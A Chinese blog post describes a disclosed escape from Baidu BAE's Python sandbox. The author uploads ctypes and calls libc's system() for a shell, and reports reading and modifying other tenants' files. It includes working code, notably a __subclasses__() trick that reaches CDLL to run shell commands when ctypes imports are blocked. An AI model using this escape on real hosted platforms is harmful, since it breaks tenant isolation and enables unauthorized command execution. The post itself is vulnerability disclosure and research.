Python的强大灵活以及百度BAE的虚拟环境,对喜欢hacking的同学是个不错的尝试。于是就有了乌云漏洞平台的这个漏洞(url地址的编号好像有误,应该是2013年才对,bug?),其列出了简单过程:
- dir查看os,subprocess等模块,能执行命令的方法都被阉割了,import commands模块直接就是No module named commands。
- 上传自己本地的commands.py,能够import,不过执行系统命令不成功,是基于os模块的。虽然不成功,但打开了思路,只要上传相应的文件就能使用缺失的模块了。
- 执行so扩展会怎么样呐?ctypes模块不存在,果断上传自己本地的ctypes文件夹,成功import并能cdll。编译了一个so扩展上传,执行无结果并中断了程序,目测可能是编译环境和BAE的不一样。
- BAE服务器上的so扩展怎么样呐?加载/lib64/libc.so.6,执行system成功,于是便有了上面的shell。
- ls /home/bae/instanceall/instance1/codefs可看到其它用户的应用列表。尝试读取文件内容无压力,修改也无压力(测试修改了自己另外一php应用的文件,成功)。
- 对于上传ctypes模块的方法,除了上传ctypes目录外,另得上传`_ctypes.*.so`的动态链接库,ctypes依赖此库。
- 对于加载`libc.so.6`,可能在不同Linux系统中路径不一样,可以通过如下搜索,
In [1]: from ctypes.util import find_libraryIn [2]: find_library('c')Out[2]: 'libc.so.6'In [3]: find_library('m')Out[3]: 'libm.so.6'# find_library()中的参数是库名,去掉前缀`lib`与后缀`so.*`# 然后直接以库名加载,无需绝对路径In [4]: from ctypes import *In [5]: libc = CDLL('libc.so.6')
参考台湾的研究,若环境已安装ctypes,只是不允许import ctypes,可以用以下曲线方法:
get = lambda x, n: [i for i in x if i.__name__ == n][0]x = ().__class__.__base__.__subclasses__()CDLL = get(x, 'CDLL')CDATA = get(x, '_CData')cx = CDATA.__subclasses__()csx = get(cx, '_SimpleCData').__subclasses__()c_char_p = get(csx, 'c_char_p')c_int = get(csx, 'c_int')libc = CDLL('libc.so.6')system = libc.systemsystem.argtypes = [c_char_p]system.restype = c_intsystem('uname -a')